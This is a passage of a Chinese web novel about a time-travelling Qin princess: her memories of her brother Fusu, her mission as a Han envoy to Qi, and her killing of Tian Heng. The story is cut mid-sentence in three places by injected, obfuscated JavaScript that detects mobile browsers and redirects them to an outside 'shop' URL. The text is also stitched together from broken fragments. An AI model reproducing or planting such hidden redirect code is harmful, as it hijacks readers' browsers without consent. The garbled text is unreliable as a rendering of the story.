阴嫚这才笑嘻嘻地将信交给了蒙恬。 蒙恬收起信件,小心地塞进胸口,对阴嫚笑道:“多谢公主。不过边塞气候恶劣,公主还是早些回去吧。” “我才来就赶我走。难道不应该请你的信使吃顿饭吗?蒙将军好生小气。”阴嫚不开心道。 “公主恕罪。” “好了,我又不是来找麻烦的。”阴嫚摆了摆手,“你们啊,太古板了。”她张望了一圈没看到兄长,又问道:“我阿兄呢?” 蒙恬似是想到了什么,半握着拳头,抵在唇边,轻咳了一声,仔细斟酌:“大公子他——” “他怎么了?”阴嫚屏住呼吸,心提了起来,不好的念想从脑子里闪过。 蒙毅:“他带人去猎杀附近吃人的野兽了。” “打猎啊,早说啊。害得我白白紧张一场。”阴嫚松了口气。 过了一会儿,她震惊道:“你说我阿兄打猎去了?”她用手比划了一下:“我那个温文尔雅的兄长,他,打野兽?” 蒙恬认真地点头,并向阴嫚分享了他第一次看到大公子冲进敌营嘎嘎乱杀时的心情。 听着蒙恬的讲述,阴嫚觉得整个世界都魔幻了。这还是她认识的那个扶苏吗? 但阴嫚又想,这个时候被“名声”耽误的人多了去了。 就比如孔子,谁能想到他是一个一米九,能单手驾车的山东大汉啊。而且老嬴家的祖宗一个赛一个的猛,优秀基因总会遗传到后代身上。这么一想,她那一向以理服人的阿兄变成用拳头说话的猛男好像也不是很奇怪。 就在她胡思乱想的时候,一阵欢呼声由远及近。阴嫚循声望去,一群人骑着马缓缓出现,在他们身后的驴车上是各式各样的野兽。她看向走在最前面的人,猛地睁大眼睛,这个皮肤黝黑,龇着大牙乐的人是谁! 那人感到了她的目光,猛地转过头厉声呵斥道:“谁叫你来的,回去!” 还没等阴嫚回嘴,一股失重感传来,她跌进了无边的黑暗。等到再次睁开眼睛时,她发现自己躺在床榻上,一缕阳光落在她胸口,将胸口晒得暖暖的。 在雀鸟的鸣叫中,阴嫚才渐渐想起昨天发生的事情。她押运粮草受到敌袭,组织反抗,清理战场后来到京县休息。 还真是疲劳过度,竟然做了梦。阴嫚按了按太阳穴。 不过,亲眼看到雪媚娘变成脏脏包也太有冲击了。但是老哥你也太凶了,她撇撇嘴,你那傻狗的模样早就跟着蒙将军的奏报一起到了父皇的手里,全家都知道你在边塞多放飞自我了。 阴嫚慢慢悠悠地坐了起来,缓了一会儿,才梳妆打扮。一出门,她就看到有两个人在打量她的院子,见她出来后马上低下头快步离开了。她猜,那两个人应当是生活在京县的百姓。他们好奇她是谁,但又担心她是个脾气不好的大人物,所以只敢远远地观察,不敢靠近。 马蹄踏在坚硬的土地上发出清脆的声响,一条枣红色的马腿出现在阴嫚的眼前,沉稳的男声响起:“公主,将军有请。” 阴嫚抬头看向眼前的骑兵。她记得这人是郎中骑兵的校尉,好像姓骆。按理说她应该记不住这么多的,但自打见到这个人起,她就觉得此人看她的目光有些奇怪。那并非源于儿女情长,而是源于一种追念。 阴嫚想不到这人透过她看到了谁,也懒着去想。她一如往常地冷淡道:“带路吧。” 在来的路上,阴嫚总能感受到兵卒落在她身上的视线,好奇的,敬佩的,没有恶意。隐约间她还能听到他们的窃窃私语。 “哎哎哎,那个就是公主吗?就是昨天打得楚人还不了手的公主?” “是她!这样漂亮的妇人我是不会忘的!” 话音刚落,身边的人立刻发出嘘声,惹得那名年轻的兵卒面红耳赤。 “不过话说回来,公主生得这般好看,又会打仗,难怪昨天骆校尉眼睛都看直了。” 阴嫚看向引路的骆甲,只见对方脚下一滑差点闪了腰,又心虚地瞄了她一眼,想来也听到了兵卒的闲谈。 “去去去,骆校尉跟他家婆姨感情好着呢,乱说话当心校尉抽你们。要我说,校尉就是看到公主算半个老秦人觉得亲切而已。” “说的也是。校尉是秦人,好像以前也是个官。说不定跟公主在咸阳见过?” 秦人?阴嫚重新打量眼前的骆甲,高大魁梧,擅长骑射,确实是秦人的特征。就在一瞬间,眼前人的身影与记忆中的一个人影重合。她想起来了,这个骆甲曾经是兄长身边的扈从。 原来还有人逃出了那场劫难。这是她自醒来以后听到的第一个好消息。至少,还有一个人能记得那些旧事。 就在阴嫚出神时,这群兵卒的话题从骆甲跑到了灌婴的身上。 “你说咱们将军是不是对公主有意思?” “我看是。我看他一天到晚总念叨公主,他肯定对公主有意思!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12785889|130692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难了……”程七反应了过来,“公主您故意打断我的话,想要我忘了我要说什么吧!” 阴嫚:“反应比以前好多了。” 程七:“……”难怪阿桃和老杨都告诉他,跟公主说话的时候要注意不要被带跑话题。 阴嫚:“那你觉得我该在哪?” 程七眨了眨眼睛,才反应过来阴嫚是在说上一个话题。他有些心累,跟公主混也太费脑子了。 “公主当然应该在战场上大杀四方了。”他认真道,“您那么厉害,留在后方太屈才了。” 阴嫚却道:“是吗?我倒觉得我在后方刚刚好。毕竟我受过重伤,身体大不如前。每次上战场都是在折损寿数,持续作战,我说不定马上就死了。” 程七先是惊讶,而后露出怀疑的目光,最后无奈:“公主您不要再说这些吓人的话了。” 跟着公主的老人都知道,公主有时候喜欢吓人。刚开始的时候会被吓得睡不着觉,但后来习惯了也就不太在意了。当然,这也不代表不会被公主吓到。 阴嫚不置可否。她在喝了一口茶后,说道:“我不在的这段时间你和阿桃要小心行事。” 程七正色道:“您放心。末将定严格约束部下。” “好了。我有些累了,你下去吧。” 程七退出去后,大帐又一次安静了下来。 阴嫚斜靠在凭几上,回忆着史书中关于韩信伐齐的记载。忽然,她一个鲤鱼打挺坐直,等等!那个地狱级笑话怎么说来着? 韩信伐齐,郦食其最熟,物理程度地熟。 阴嫚突然头疼,她按了按太阳穴,啧,一看就是有坑货出现。但这到底是出现在韩信那边,还是郦食其自己这边? 清晨,一辆马车缓缓地驶向汉营。 在汉卒拦住马车时,一个文士走下马车。他看起来三四十岁,深衣长簪,气质不凡,让人忍不住地多看他几眼。 汉卒不管三七二十一,厉声呵斥:“汝为何人?竟敢擅闯大营,你是不要命了吗?” 那文士却是神态自若,依旧保持着高雅的风度,声音不轻不重道:“我乃齐王使臣,特来寻大将军议事。” “你是齐国人!”汉卒错愕,连忙叫人欲拿下此人。 文士不慌不忙道:“两国交战不斩来使。” 汉卒啐了口唾沫:“屁个不斩来使。你们齐人交战,天知道你们是来议事还是来刺探情报的,绑了!” “住手。”韩信骑马缓缓走来,逆光而立,淡声询问,“你如何证明自己是齐王使臣?” “有文书令牌为证。”文士不紧不慢地从怀中拿出凭证交给韩信。 韩信确认无误后,把文书令牌还给了文士:“既是议事,请。” 文士却将文书和令牌丢在了地上,他迎着韩信的目光,笑道:“某原本是来替齐王议和的,但现在某改变主意了。” 韩信挑眉,没说话。 文士作揖:“齐人蒯通,见过大将军。” 47. 第 47 章 “要我说熊启就是蠢。天下大势已去,他却非要跟项燕媾和当什么楚王,结果还不是一命呜呼了。”田横嗤笑着。 田荣却道:“那我们也要感谢他。要不是他反叛,连累了芈姓熊氏,这秦国朝堂哪还有我们齐国田氏的位置。” 几年前昌平君反叛,致使秦国二十万大军客死他乡,秦王政勃然大怒,重惩楚系,秦王后亦受牵连,褫夺王后封号禁足栎阳宫。 至此,凌驾于秦国朝堂数十年的楚系集团彻底跌入泥潭,再无转圜的余地。而巨兽倒下的那一刻,一头新的巨兽从它的肚腹中破体而出。 “是应该谢谢熊启,也该谢谢栎阳宫里那个早死的女人。她要是不早死的话,我还真担心秦王哪天心一软就把她放出来了。” 言罢,田横又将酒杯里的酒洒在地上,戏谑道:“寿数太浅是你的福分,早早地去见大司命也是件好事。” 田横放肆大笑,一盆水从天而降,将他泼了个正着。 变故来得突然,还没等田氏兄弟反应过来。一个铜盆狠狠地砸在了田横的头,当的一声,震得田横找不到东南西北。 “放肆!”田荣怒喝行凶者。 “我就放肆又如何?”行凶的小娃娃站在田荣对面,她非但没被田横狰狞的模样吓到,反而还死死地盯着田荣,眼眸中是熊熊燃烧的怒火,“敢侮辱我的母亲,我就是杀了他,你也奈何不了我!” 田荣一愣,他忽然觉得眼前的小娃娃有点眼熟。 可田横却不管不顾起来,直接抽出佩剑欲杀了眼前的小娃娃。 “等等,她是阳滋公主!”当田荣想起来的时候,田横的剑已经收不住了。田荣感到了绝望,当众斩杀秦国公主,他和田横就算有一百个脑袋也顶不住秦王的雷霆之怒啊! 铁器相击的声音响起,再一看,一个十几岁的少年出剑截住田横的剑,将小公主护在了身后。 “阿兄!”阴嫚看着挡在自己身前的身影,一脸惊喜道,“你来了!” 扶苏看了她一眼,问道:“没事吧。” 阴嫚摇了摇头示意自己没事,她拉着扶苏的衣摆,指着田氏兄弟愤怒道:“阿兄,他们对母亲出言不逊,你快教训他们!” 田横意识到自己惹上了麻烦,他连忙看向自己的兄长。 田荣上前一步:“外臣见过大公子。”他弯起眉眼为自己和弟弟开脱:“刚刚臣与舍弟不过是在议论天下局势,言语间涉及陈年旧事,引得公主不快,外臣在此替舍弟道歉。” 阴嫚怒道:“你撒谎!你——” 田荣打断了阴嫚的话:“公主您已经教训了舍弟,外臣想他已经得到了教训。更何况此事大事化小,小事化了才是最好的解决办法,不是吗?” 阴嫚盯着田荣咬着牙。 父王对背叛深恶痛绝,当年的雷霆之势即使未曾亲眼所见,但从那些经历者的口中也能窥见一二。她很清楚,旧事重提只会引来父王的勃然大怒。 她和兄长失去了母亲的庇护,也没有外家的支持,本应该蜷缩在深宫中小心地活着。 可偏偏兄长是父王的长子,是所有人眼中最有可能继承大统的人,也是欲登王位的野心家们眼中的绊脚石。无论他们想不想,他们都已经卷入了夺嫡的风暴中。 至此,明枪暗箭永远不会他们的身上离开,恶语中伤更是时常落在他们的头上,每一分每一秒都是如履薄冰。只能靠着父王那点微薄的亲情勉强生存。如果失去了父王的怜惜,她和兄长会死无葬身之地。 田荣就是抓住他们的软处,所以才敢肆无忌惮。 可是我好不甘心啊。明明侮辱母亲的人就在眼前,我却没办法替母亲出气!纵然阴嫚有一腔怒火,也只能眼睁睁地看着田氏兄弟离开。 “等等,”扶苏的声音从阴嫚的头顶传来,他迎着田氏兄弟惊讶的目光说道,“令弟以下犯上,欲伤我秦国公主。只是一句轻飘飘的道歉,怕是说不过去吧。” 田荣端着僵硬的笑脸,问道:“那公子要如何?” “鞭笞五十。” “你——” “怎么,阁下是不满吗?”扶苏的神色是前所未有的冰冷,“在我秦国境内惊扰我秦国公主,是当我秦国无人?还是觉得将来的秦国会在二位的股掌之间?” 田氏兄弟脸色不佳,不得不认下这五十鞭。 阴嫚虽然出了气,但她更担心兄长。田氏兄弟,小人也。兄长惩治了他们,怕是会惹来麻烦。她现在又懊恼自己的冲动。 “好啦,万事有我呢。”兄长揉了揉她的头,“别老蹙眉,当心提前变成老妇人。” 阴嫚下意识地回嘴:“你才提前变成老头子呢。” “老头子?”扶苏失笑,一手托起她,另一只手刮着她的鼻子:“你从哪蹦出这么多怪词?” 阴嫚:“……”喂,虽说我的外表看起来只有三岁,但我的灵魂是一个十八岁的成年人了。这样被人随随便便地抱起来,真的很丢脸! 扶苏见到阴嫚露出嫌弃又反抗不了的样子,不禁哈哈大笑起来。 阴嫚撇撇嘴心道,喜欢戏弄人的哥哥。太史公怎么没把你这一面也记下来? 只可惜欢乐有时,唯有苦难才是亘古不变的。 那是普通又不普通的一天,阴嫚如往日一般来找扶苏玩。但不巧的是嬴政和扶苏正在议事,她只能在外面等着。 忽然,屋里传来竹简落地的声音。阴嫚心头一紧,连忙跑进去,却发现兄长跪在地上,一卷竹简摊在兄长面前。 坐在主位上的嬴政:“你知道你在说什么吗?” 明明是毫无波澜的一句话,却让阴嫚感到了刺骨的寒意。一股前所未有的恐惧扼住了她的咽喉,让她说不出一个字。 “父王。”扶苏的声音很轻,但却能够让每个人听清他的话,“那是儿臣的母亲,是生养儿臣的母亲,儿臣决不允许任何人诋毁她,侮辱她!” “所以你在替她,替那些罪臣鸣不平。”嬴政下了定论。 扶苏挺直了脊背,一字一句道:“儿臣没有。儿臣只是就事论事。法令本身是为了安民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12801719|130692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 固邦。可轻罪重罚已经成为不安稳的根源,为了秦国的千秋伟业,它必须作出改变。” 阴嫚虽然看不到扶苏的表情,但她还是能感受到扶苏的悲痛。他明明是在提出最中肯的建议,结果却被父亲误会成徇私枉法,结党营私。 嬴政站了起来,缓缓走向扶苏:“自你入朝以来,可谓是意气风发,群臣敬仰。” “不要怪阿兄!”阴嫚张开双臂拦在扶苏和嬴政之间,“是我,是我听到他们侮辱母亲,是我先动的手!父王要罚就罚我。” 扶苏和嬴政见状皆是一愣。 “阴嫚,不得无礼!”扶苏马上回过神,急忙将阴嫚拉到身后,对嬴政行礼道:“父王,阴嫚还小,她什么都不知道,她不是有意冒犯您的,请您宽恕她!” 虽然阴嫚的心已经飞到了嗓子眼,但她还是颤抖地说出真相:“是他们先嘲笑母亲无寿,我气不过,所以就用水泼了他们。可,可他们也报复回来了啊。要是没有兄长的话,我早就被他们砍死了……” “他们对你拔剑?”嬴政的眉头皱起。 阴嫚实在太害怕了,她死死地抓着扶苏的衣袖,紧张地看着嬴政:“我已经没有母亲了,不能再没有阿兄了。” 嬴政闻言冷峻的脸上泛起了一抹复杂的神色,但很快就被他隐藏了下去。他沉默了良久,终是说道:“仅此一次。” 宽大的袖子从阴嫚的眼前划过,嬴政的背影还是那样高大威严,但却让人感到了沧桑落寞。 在恐惧退去后,愧疚攀爬上阴嫚的心房。她抿着嘴,就在刚刚自己卑劣地利用了一个死人。可是,如果不利用帝王的恻隐之心,一直照顾她的兄长就会成为为罪人脱罪的恶人,届时便是万劫不复。 她攥紧拳头,愤恨填满了心脏。父王不会无缘无故地把兄长的谏言视为脱罪之言,一定是田氏兄弟撺掇那位齐国夫人向父王进言。该死,该死,我一定要让你们付出代价! “好啦,我只是没做好课业惹父王生气了而已。过几天就好了,你看看你吓成什么样了……” 扶苏越是故作轻松,阴嫚就越是难过。 没有人比她更清楚扶苏为了这篇谏文付出了多大的努力。挑灯夜读各郡县的案宗,逐字逐句审阅自己的每一个字。可这样的一卷呕心沥血之作,竟然成了他别有用心的罪证…… “对不起,”泪珠从阴嫚的眼眶中滚落,她哽咽道,“如果我没有冲动就好了……” 扶苏露出明媚而哀伤的笑容:“不要道歉,即便你不在,我也会为母亲出气的。倒是你,只是太聪明会很辛苦的,阿兄还是希望你笨一点……” 阳光忽然变得刺眼,让人不由得闭上了眼睛。再一睁眼,富丽堂皇的齐王宫映入眼帘。而眼前是田横堆着一张笑脸,拉着郦食其的手寒暄的场景。 在看到阴嫚后,田横对郦食其说道:“这位就是芈欢公主吧。果然容姿非凡,恍若仙人啊。” “您说笑了。”阴嫚抬眼看向田横,阴恻恻地笑道,“仙人算不上,倒是可以算得上是索命恶鬼。” 48. 第 48 章 香炉中升起柔软的白烟,檀木的香气萦绕在鼻尖。相对而坐的汉齐大臣没有说话,他们盯着彼此,好像在用意念打架。 宫人们在奉完茶后,便退出了大殿。这仿佛是个信号,郦食其先开口:“天下大局已定,外臣以为,齐王应当与汉王结盟。” 他的话很快就被齐臣反驳:“如今楚汉胜负未定,贵使怎敢言大局已定?” 郦食其丝毫不慌张,他正襟危坐,声音不快不慢:“项王虽坐拥南方十四郡,粮仓充足,兵强马壮,但楚国境内并无独当一面的大将,项王必须事事亲力亲为。然楚国如今是东西双线作战,纵然项王再英勇,也无济于事。” “反观我汉国,关中有萧相,北有大将韩信,汉王身边更有张良陈平这等不世之才。诸君以为优势在谁?” 阴嫚对郦食其的睁眼开吹不置可否。 田横不为所动:“那又如何?我齐国坐拥东方,国力强盛。昔年五国伐齐,我齐国依旧能靠着两城复国。项羽奇才又如何?还不是照样拿我齐国没辙。汉使又怎敢肯定汉国就一定能从我齐国手中讨到便宜。” 此话一出,齐臣们仿佛吃了颗定心丸,他们纷纷挺直腰板,与对面的汉使辩论起来。唇枪舌剑,针尖对麦芒,时不时还能看到漫天飞舞的竹条,令阴嫚这个穿越者开了眼。 “倘若汉国当真如贵使所言,为何迟迟不攻楚国,反而缩居修武?”见汉使一哽,那名提问的齐臣得意了起来。 “那是因为在等你们的答案。”阴嫚将茶盏落在桌子上,发出一声脆响,令其他的声音为她让路。 见所有人的目光落在了她的身上,阴嫚继续说道:“你们的态度决定了我们未来的计划。” 她抬眼看向坐在对面的田横,红色嘴唇扬起:“提醒一句,大将军已经到了平原津了。” 这下,叽叽喳喳的齐臣们像是被掐死了一样,一个个都不吱声了。大殿内又变得鸦雀无声。 田横看向阴嫚:“师出无名,天下唾弃。” 阴嫚却是大笑了起来,令人心里忐忑不安。笑够了后,她身体前倾,一手撑着下颌,反问:“丞相确定?” 没等田横回答,她又说道:“丞相应当听过,几个月前臧荼背信弃义被汉军斩杀的事情吧。其实我一直有个疑问,楚国使者是如何到了燕国,见到臧荼的?” 田横哑口无言,他可太清楚楚国使者是怎么到的燕国了。 私通敌国这个罪名一旦公布,汉军攻打齐国就是名正言顺的。当那个时候,他真的有把握击退那个攻无不克的韩信吗? 田横看向眼前笑吟吟的女人,却在接触到那双冰冷的黑眸时。心头猛地一颤。初见时的那种毛骨悚然的感觉又一次席卷全身,让他不自觉发抖。 我是不是在哪见过她?田横这样想道。 阴嫚撑着头看着坐立不安的田横,脸上的弧度更大了。 许是她的话起了作用,齐国人的抵触渐渐消失了,最后同意了结盟。用阴嫚的话来说,就是齐国人突然发现自己的拳头不够硬,所以妥协了。 为了庆祝两国结盟,齐王专门设宴庆祝此事。 不同于谈判时的剑拔弩张,宴会上的气氛十分融洽。刚刚还争执得脸红脖子粗的人们仿佛集体失忆,坐在一起,亲亲热热地商业互吹,那恭维的话听得人浑身起鸡皮疙瘩。 齐国的宴席同阴嫚往日参加的宴席并没有太大的区别。乐舞助兴,美酒佳肴款待来宾。 只不过阴嫚身体不适,舞姬曼妙的舞姿只会让她头晕目眩,面前的荤腥味加重了她的恶心感。这让她不得不一直喝茶来保持应有的体面。 有时候她也觉得自己的身子骨实在太拖后腿了。但转念一想,要是没有自己这具身体,自己又哪能在坠崖后奇迹生还?做人要懂得满足,也不能太贪心。 阴嫚斜靠在凭几上,试图利用放松身体的方式,来缓解疼痛。 忽然,筑声突兀的响起。乐律变得明快灵动,一个明艳的美人从众舞姬中脱颖而出。她的动作行云流水,犹如疾风过境后的层层涟漪,令人流连忘返。 如果在平常,阴嫚会赞叹舞姬技艺高超,但此时她的注意力全被舞姬手中的剑吸引。 只见长剑犹如一条长龙,发出清脆悦耳的龙吟。 阴嫚睁大眼睛,那是兄嫂给兄长的定情信物!她本以为棠溪宝剑或是遗落在边疆,或者消失在咸阳的大火中,但她怎么也想不到会出现在田氏的手中! 震惊与荒唐两种情绪在心中反复拉扯,让阴嫚呼吸变得急促,身体也不自觉地发抖。 “说起来此女手中的剑还有些来历。”田横放下酒器,向众人解释起棠溪剑的来历。 “这剑原是秦公子扶苏的剑,原本应当跟着他一起葬在边关。不过到底是闻名天下的棠溪宝剑,秦二世爱之,让人取了回来。后来项羽入咸阳,烧了咸阳宫,这剑就失去了踪迹。” “却不想有人找到了这把剑,把它献给了我。不过我倒觉得这剑是暴秦的东西,再好也配不上我,于是就把它丢给舞姬了。说到底,这剑也只配取乐而已……” 田横轻蔑的语气刺痛了阴嫚,勾起了她的怒火。自己视若珍宝的物件,竟被仇敌如此作践! 茶盏落在地上碎成几块,茶汤在烛火的映射下波光粼粼。乐舞在这突如其来的声响中戛然而止,宴会变得鸦雀无声。 所有人都看向了阴嫚,她却只是擦干了手上的水渍,迎着众人困惑的目光站了起来,嗓音冷冷:“我去透透气。” 旁人一头雾水,但田横却泛起了笑意。他想,真是她!天助我也! 冬季的夜空在雪色的衬托下更加的深邃幽蓝,孤独的星或明或暗,最后被惨白的月所吞噬,让人感到无限的凄凉。 呼啸的北风撞在阴嫚的头上,撕碎了她胸中的怒火,也刮伤了她的气管,让她险些把肺都咳了出来。 “虽说齐国冬季不算寒冷,但还是要多添些衣服才是。”田横那令人恼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12816832|130692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒的声音从背后传来。 阴嫚眼神凌冽,不再掩饰自己的敌意。 田横熟视无睹,靠近阴嫚:“你说是吧,芈欢,不,阳滋公主。” 对于田横能准确地叫出自己的封号这件事,阴嫚并不感到惊讶。当兄长的剑出现在宴会上的那一刻,她就知道田横已经认出她了。 “真是难为齐相一把年纪还能记得这么清楚。”阴嫚讥讽道。 田横却不恼:“没办法,谁让当年公主留给外臣的印象实在太深刻了。” “这样就印象深刻?您还真是——目光短浅。” 在看到田横僵硬的脸色后,阴嫚放肆地笑了起来。 田横深吸一口气,冷冷道:“激怒我对你没有好处,阳滋公主。” 阴嫚嗤笑一声:“你觉得我会怕你的威胁吗?” “你当然不会怕。你要是害怕的话早就躲在哪里苟延残喘了,又怎么会跑到我的面前?”田横话锋一转,“不过你不怕,汉王不会怕吗?” 他恶意满满道:“容我提醒你一句,天下苦秦久矣,人人对暴秦恨之入骨,更恨不得杀了所有跟秦王有关的人。你的身份一旦公布,汉王将成为众矢之的。到那个时候,汉王还敢再言天命在我?” “所以——” “所以你要听我的。”田横抬了抬手让舞姬将扶苏的剑交给了阴嫚,继续说道,“只有这样,你才能保住你的秘密,才能拿回你的东西不是吗?” 看着胜券在握的田横,阴嫚只觉得人要是活到他这种程度也是可悲。 铮鸣声回荡在寂静的空间,刺眼的白光一闪而过,廊下便出现红梅覆雪的画面。 在舞姬的惊呼声中,田横捂着汩汩流血的脖子,一脸惊恐地看向阴嫚。 阴嫚黝黑的眸子里倒映着田横濒死的身影:“你难道不知道只有死人才不会说出秘密吗?” 月光落在阴嫚的身上,衬得她的皮肤白得近乎透明,让她看起来更像地府里爬出的恶鬼。 “我说过,我是来索命的恶鬼。跟我独处,你是在找死。”她轻轻地说道,“替我向胡亥问好,告诉他,我很快就会下去抽他的筋,扒他的皮。” 话落,阴嫚手持长剑冲着田横的方向用力一挥。 夜晚重新回归平静,鲜血顺着剑身滴落。 阴嫚看着一分为二的田横,心中的怒火得到了平息。她按了按太阳穴心道,该如何向郦生解释呢? 身后传来了倒吸凉气的声音,阴嫚侧目看去,来人是跟她一道出使齐国的汉臣。 阴嫚先将长剑插在地板上,然后松开了握着舞姬手腕的手,最后双手搭在剑柄上,语气平静地问来人:“有事?” 汉臣大约是被惊到了,说话变得结巴:“刚刚,传来线报,说,说大将军已经攻城了。郦,郦先生让,让我寻您……” 韩信到时帮我解决了一个麻烦。听到这个消息,阴嫚心情不错。她转过头冲着舞姬嫣然一笑:“替我办件事吧。”